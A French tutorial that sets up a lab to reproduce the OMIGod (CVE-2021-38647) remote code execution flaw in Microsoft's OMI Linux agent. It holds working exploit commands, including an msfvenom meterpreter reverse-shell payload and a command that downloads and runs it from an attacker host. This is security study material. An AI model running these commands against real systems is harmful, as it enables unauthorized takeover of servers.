La vulnérabilité CVE-2021-38647, aka OMIGod, n’affecte pas directement les produits Microsoft. Il s’agit d’un bug dans l’outil Open Management Infrastruture (OMI) de Microsoft, conçu pour Linux en général et pour les serveurs Linux hébergés par Azure en particulier. [1]
Qu’est-ce que OMI ?
OMI est l’équivalent UNIX/Linux de WMI de Windows. Il permet aux utilisateurs de gérer des configurations dans des environnements locaux et distants et de collecter des statistiques. En raison de la facilité d’utilisation et de l’abstraction qu’il offre, OMI est largement utilisé dans Azure, notamment dans Open Management Suite (OMS), Azure Insights, Azure Automation et bien d’autres.
L’agent OMI est automatiquement déployé sur les VM Azure. De plus, les agents OMI sont fréquemment utilisés sur site pour la gestion des machines Linux. Par exemple, OMI est intégré à Microsoft System Center for Linux, la solution de gestion de serveurs de Microsoft. [2]
Comment fonctionne OMIGod ?
Un schéma vaut mieux qu’un long discours:
Source: [2]
Etude de OMIGod
Afin d’étudier cette vulnérabilité, nous nous baserons sur le travail d’IppSec [3] qui nous montre comment reproduire une infrastructure vulnérable sans à avoir à utiliser Azure :)
Github: https://github.com/Microsoft/omi
Se rendre sur la release page et download la version 1.6.8-0 soit la dernière version vulnérable de OMI
wget https://github.com/microsoft/omi/releases/download/v1.6.8-0/omi-1.6.8-0.ssl_100.ulinux.x64.deb
Installer OMI:
sudo dpkg -i ./omi-1.6.8-0.ssl_100.ulinux.x64.deb
Avec Ubuntu 21.04 Hirsute Hippo:
Avec une version plus ancienne, Ubuntu 16.04.6 Xenial, ça marche très bien :)
On a maintenant un OMI vulnérable qui tourne sur notre machine cible.
Modifier le fichier de configuration pour utiliser le port 5986:
Relancer le server: sudo service omid restart
Installer SCX:
$ wget https://github.com/microsoft/SCXcore/releases/download/v1.6.8-1/scx-1.6.8-1.ssl_100.ulinux.x64.deb
$ sudo dpkg -i scx-1.6.8–1.ssl_110.ulinux.x64.deb
Sur une machine d’attaque, cloner le poc pour OMIGod: https://github.com/horizon3ai/CVE-2021-38647
git clone https://github.com/horizon3ai/CVE-2021-38647.git
Test de la vulnérabilité: python3 omigod.py -t [IP] -c id
On essaie d’obtenir un reverse shell avec les oneliners sans succès.
Par contre on peut uploader des fichiers sur le serveur :)
On va créer un payload avec msfvenom et le transférer sur le serveur pour obtenir une session meterpreter:
1 - Création du payload:
Ici la cible est une ubuntu x64
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=[IP] LPORT=[PORT] -f elf > rev_shell.elf
2 - Lancer un serveur http: python3 -m http.server 80
3 - Lancer un listener sur Metasploit
4 - Lancer l’exploit
python3 omigod.py -t [TARGET_IP] -c 'cd /tmp; wget http://[ATTACK_IP]/rev_shell.elf; chmod 777 rev_shell.elf; ./rev_shell.elf'
Résultat:
On a donc bien obtenu un reverse shell en utilisant la vulnérabilité OMIGod :)
Références
[1] Sophos, OMIGOD, an exploitable hole in Microsoft open source code!, https://nakedsecurity.sophos.com/2021/09/16/omigod-an-exploitable-hole-in-microsoft-open-source-code/
[2] Wiz, OMIGOD: Critical Vulnerabilities in OMI Affecting Countless Azure Customers, https://www.wiz.io/blog/omigod-critical-vulnerabilities-in-omi-azure
[3] IppSec, Playing with Exploits - OMIGod, https://www.youtube.com/watch?v=TXqi1BKtcyM
Poursuivez avec :
This work is licensed under a Creative Commons Attribution 4.0 International License.